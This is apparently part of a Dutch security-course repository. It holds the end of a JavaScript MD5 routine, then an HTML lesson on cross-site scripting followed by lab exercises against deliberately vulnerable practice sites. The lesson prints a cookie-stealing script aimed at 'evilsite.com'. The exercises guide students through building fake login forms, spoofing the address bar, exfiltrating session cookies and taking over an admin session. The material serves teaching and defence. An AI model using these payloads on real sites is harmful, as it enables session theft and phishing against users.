||||
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var _II = function (a, b, c, d, x, s, ac) {
|
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac));
|
||||
return addUnsigned(rotateLeft(a, s), b);
|
||||
};
|
||||
|
||||
var convertToWordArray = function (str) {
|
||||
var lWordCount;
|
||||
var lMessageLength = str.length;
|
||||
var lNumberOfWords_temp1 = lMessageLength + 8;
|
||||
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64;
|
||||
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16;
|
||||
var lWordArray = new Array(lNumberOfWords - 1);
|
||||
var lBytePosition = 0;
|
||||
var lByteCount = 0;
|
||||
while (lByteCount < lMessageLength) {
|
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
|
||||
lBytePosition = (lByteCount % 4) * 8;
|
||||
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition));
|
||||
lByteCount++;
|
||||
}
|
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
|
||||
lBytePosition = (lByteCount % 4) * 8;
|
||||
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition);
|
||||
lWordArray[lNumberOfWords - 2] = lMessageLength << 3;
|
||||
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29;
|
||||
return lWordArray;
|
||||
};
|
||||
|
||||
var wordToHex = function (lValue) {
|
||||
var wordToHexValue = '',
|
||||
wordToHexValue_temp = '',
|
||||
lByte, lCount;
|
||||
for (lCount = 0; lCount <= 3; lCount++) {
|
||||
lByte = (lValue >>> (lCount * 8)) & 255;
|
||||
wordToHexValue_temp = '0' + lByte.toString(16);
|
||||
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2);
|
||||
}
|
||||
return wordToHexValue;
|
||||
};
|
||||
|
||||
var x = [],
|
||||
k, AA, BB, CC, DD, a, b, c, d, S11 = 7,
|
||||
S12 = 12,
|
||||
S13 = 17,
|
||||
S14 = 22,
|
||||
S21 = 5,
|
||||
S22 = 9,
|
||||
S23 = 14,
|
||||
S24 = 20,
|
||||
S31 = 4,
|
||||
S32 = 11,
|
||||
S33 = 16,
|
||||
S34 = 23,
|
||||
S41 = 6,
|
||||
S42 = 10,
|
||||
S43 = 15,
|
||||
S44 = 21;
|
||||
|
||||
str = this.utf8_encode(str);
|
||||
x = convertToWordArray(str);
|
||||
a = 0x67452301;
|
||||
b = 0xEFCDAB89;
|
||||
c = 0x98BADCFE;
|
||||
d = 0x10325476;
|
||||
|
||||
xl = x.length;
|
||||
for (k = 0; k < xl; k += 16) {
|
||||
AA = a;
|
||||
BB = b;
|
||||
CC = c;
|
||||
DD = d;
|
||||
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
|
||||
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
|
||||
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
|
||||
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
|
||||
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
|
||||
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
|
||||
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
|
||||
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
|
||||
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
|
||||
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
|
||||
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
|
||||
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
|
||||
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
|
||||
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
|
||||
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
|
||||
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
|
||||
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
|
||||
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
|
||||
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
|
||||
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
|
||||
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
|
||||
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453);
|
||||
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
|
||||
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
|
||||
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
|
||||
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
|
||||
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
|
||||
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
|
||||
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
|
||||
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
|
||||
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
|
||||
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
|
||||
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
|
||||
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
|
||||
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
|
||||
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
|
||||
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
|
||||
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
|
||||
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
|
||||
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
|
||||
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
|
||||
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
|
||||
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
|
||||
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
|
||||
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
|
||||
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
|
||||
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
|
||||
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
|
||||
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244);
|
||||
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
|
||||
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
|
||||
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
|
||||
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
|
||||
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
|
||||
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
|
||||
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
|
||||
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
|
||||
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
|
||||
c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314);
|
||||
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
|
||||
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
|
||||
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
|
||||
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
|
||||
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
|
||||
a = addUnsigned(a, AA);
|
||||
b = addUnsigned(b, BB);
|
||||
c = addUnsigned(c, CC);
|
||||
d = addUnsigned(d, DD);
|
||||
}
|
||||
|
||||
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d);
|
||||
|
||||
return temp.toLowerCase();
|
||||
}
|
||||
</script>
|
||||
@@ -0,0 +1,244 @@
|
||||
<style>
|
||||
.screenshot {
|
||||
box-shadow: 0 0 15px #888;
|
||||
}
|
||||
|
||||
figure {
|
||||
float: right;
|
||||
width: 30%;
|
||||
}
|
||||
|
||||
figure img {}
|
||||
|
||||
figcaption {
|
||||
margin-top: 10px;
|
||||
font-size: smaller;
|
||||
color: gray;
|
||||
text-align: center;
|
||||
}
|
||||
</style>
|
||||
|
||||
<h1>Cross-site Scripting</h1>
|
||||
|
||||
<figure>
|
||||
<img src="/static/img/rabobank.png" class="screenshot">
|
||||
<figcaption>Iemand heeft
|
||||
<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
|
||||
</figure>
|
||||
|
||||
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als
|
||||
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra
|
||||
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de <script>
|
||||
tag kan toevoegen is er sprake van een XSS aanval.</p>
|
||||
|
||||
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login
|
||||
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch
|
||||
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
|
||||
|
||||
<h3>Reflected</h3>
|
||||
|
||||
<figure>
|
||||
<img class="screenshot" src="/static/img/zoekterm.png">
|
||||
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
|
||||
</figure>
|
||||
|
||||
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets
|
||||
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als
|
||||
op de webpagina zelf.</p>
|
||||
|
||||
|
||||
|
||||
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren
|
||||
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken.
|
||||
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet.
|
||||
The perfect crime!</p>
|
||||
|
||||
<h3>Stored</h3>
|
||||
|
||||
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een
|
||||
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's).
|
||||
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n
|
||||
90% van alle websites). Als de site niet goed beveiligd is kan je in de database <script> tags met Javascript opslaan
|
||||
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
|
||||
|
||||
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te
|
||||
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
|
||||
|
||||
<h3>Aanvallen</h3>
|
||||
|
||||
<h4>HTML toevoegen</h4>
|
||||
|
||||
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan
|
||||
een <form> die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de
|
||||
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
|
||||
|
||||
<h4>Javascript toevoegen</h4>
|
||||
|
||||
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele <script> tag toe te
|
||||
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker
|
||||
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
|
||||
|
||||
<p>
|
||||
<code><script>document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;</script></code>
|
||||
</p>
|
||||
|
||||
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site
|
||||
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan
|
||||
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
|
||||
|
||||
<h3>Countermeasures</h3>
|
||||
|
||||
<p>De belangrijkste regel bij websecurity is:
|
||||
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare
|
||||
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die
|
||||
je weer weergeeft op de pagina te
|
||||
<b>escapen</b>.</p>
|
||||
|
||||
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities.
|
||||
<code>"</code> wordt dan bijvoorbeeld
|
||||
<code>&quot;</code> en
|
||||
<code><</code> wordt
|
||||
<code>&lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
|
||||
|
||||
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
|
||||
|
||||
|
||||
<code><script><b>gebruikersinvoer hier</b></script></p></code>
|
||||
|
||||
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het
|
||||
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een
|
||||
bepaalde waarde te zetten.</p>
|
||||
|
||||
<h1>Opdrachten</h1>
|
||||
|
||||
<h2>Bank</h2>
|
||||
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze
|
||||
nog steeds niet veilig van hun beveiligingsproblemen.</p>
|
||||
|
||||
<p>Ga naar de
|
||||
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
|
||||
</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere
|
||||
server gestuurd.</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
|
||||
</div>
|
||||
|
||||
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje
|
||||
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Zoek eens naar
|
||||
<code>window.history.pushState</code>.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina
|
||||
komt te staan.</span>
|
||||
</div>
|
||||
|
||||
<h2>Webshop</h2>
|
||||
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde
|
||||
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site
|
||||
<span class="website">"Webshop (replace)"</span>.</p>
|
||||
|
||||
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
|
||||
|
||||
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt
|
||||
gebruiken moet je de url encoded versie gebruiken: %2B</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Op
|
||||
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a>
|
||||
</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (<>"&) zijn nu geëscapet. Maar het
|
||||
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd.
|
||||
Let goed op de quotejes.</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2.
|
||||
PHP aanpassen (lees documentatie op
|
||||
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
|
||||
</div>
|
||||
|
||||
|
||||
<h2>Nieuws</h2>
|
||||
|
||||
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de
|
||||
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
|
||||
|
||||
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators
|
||||
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.
|
||||
</p>
|
||||
|
||||
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen
|
||||
server sturen om de opdracht te kunnen maken. Je kunt hiervoor
|
||||
<a href="https://requestb.in">Requestbin</a> gebruiken</p>
|
||||
|
||||
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan
|
||||
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
|
||||
|
||||
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie
|
||||
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
|
||||
|
||||
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
|
||||
|
||||
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
|
||||
|
||||
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
|
||||
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
|
||||
</div>
|
||||
|
||||
<h2>Wereldwijs</h2>
|
||||
|
||||
<p>Ga naar de
|
||||
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen.
|
||||
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek
|
||||
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
|
||||
|
||||
<p>Let op: In Firefox werkt deze hack niet</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('<div>').
|
||||
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
|
||||
</div>
|
||||